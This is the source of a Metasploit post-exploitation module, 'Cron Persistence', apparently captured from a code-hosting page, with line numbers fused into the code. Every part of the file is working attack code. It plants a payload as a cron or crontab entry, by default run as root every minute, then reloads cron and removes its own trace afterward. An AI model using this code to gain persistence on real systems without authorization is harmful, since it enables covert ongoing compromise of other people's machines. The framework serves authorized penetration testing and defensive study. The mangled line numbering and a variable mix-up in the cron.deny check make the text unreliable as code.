Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/cron_persistence.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cron Persistence',17'Description' => %q(18This module will create a cron or crontab entry to execute a payload.19The module includes the ability to automatically clean up those entries to prevent multiple executions.20syslog will get a copy of the cron entry.21),22'License' => MSF_LICENSE,23'Author' =>24[25'h00die <[email protected]>'26],27'Platform' => ['unix', 'linux'],28'Targets' =>29[30[ 'Cron', { :path => '/etc/cron.d' } ],31[ 'User Crontab', { :path => '/var/spool/cron' } ],32[ 'System Crontab', { :path => '/etc' } ]33],34'DefaultTarget' => 1,35'Arch' => ARCH_CMD,36'Payload' =>37{38'BadChars' => "#%\x10\x13", # is for comments, % is for newline39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'generic perl ruby python'43}44},45'DefaultOptions' => { 'WfsDelay' => 90 },46'DisclosureDate' => '1979-07-01' # Version 7 Unix release date (first cron implementation)47)48)4950register_options(51[52OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),53OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),54OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])55], self.class56)57end5859def exploit60# https://gist.github.com/istvanp/310203 for cron regex validator61cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'62cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'63cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'64cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'65cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*66# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'67unless datastore['TIMING'] =~ /#{cron_regex}/68fail_with(Failure::BadConfig, 'Invalid timing format')69end70cron_entry = datastore['TIMING']71if target.name.include? 'User Crontab'72unless user_cron_permission?(datastore['USERNAME'])73fail_with(Failure::NoAccess, 'User denied cron via cron.deny')74end75else76cron_entry += " #{datastore['USERNAME']}"77end78flag = Rex::Text.rand_text_alpha(10)79cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later80case target.name81when 'Cron'82our_entry = Rex::Text.rand_text_alpha(10)83write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")84vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")85if datastore['CLEANUP']86register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")87end88when 'System Crontab'89file_to_clean = "#{target.opts[:path]}/crontab"90append_file(file_to_clean, "\n#{cron_entry}\n")91vprint_good("Writing #{cron_entry} to #{file_to_clean}")92when 'User Crontab'93file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"94append_file(file_to_clean, "\n#{cron_entry}\n")95vprint_good("Writing #{cron_entry} to #{file_to_clean}")96# at least on ubuntu, we need to reload cron to get this to work97vprint_status('Reloading cron to pickup new entry')98cmd_exec("service cron reload")99end100print_status("Waiting #{datastore['WfsDelay']}sec for execution")101Rex.sleep(datastore['WfsDelay'].to_i)102# we may need to do some cleanup, no need for cron since that uses file dropper103# we could run this on a on_successful_session, but we want cleanup even if it fails104if file_to_clean && flag && datastore['CLEANUP']105print_status("Removing our cron entry from #{file_to_clean}")106cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")107cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")108# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed109if target.name == 'User Crontab' # make sure we clean out of memory110cmd_exec("service cron reload")111end112end113end114115def user_cron_permission?(user)116# double check we're allowed to do cron117# may also be /etc/cron.d/118paths = ['/etc/', '/etc/cron.d/']119paths.each do |path|120cron_auth = read_file("#{path}cron.allow")121if cron_auth122if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/123vprint_good("User located in #{path}cron.allow")124return true125end126end127cron_auths = read_file("#{path}cron.deny")128if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/129vprint_error("User located in #{path}cron.deny")130return false131end132end133# no guidance, so we should be fine134true135end136end137138139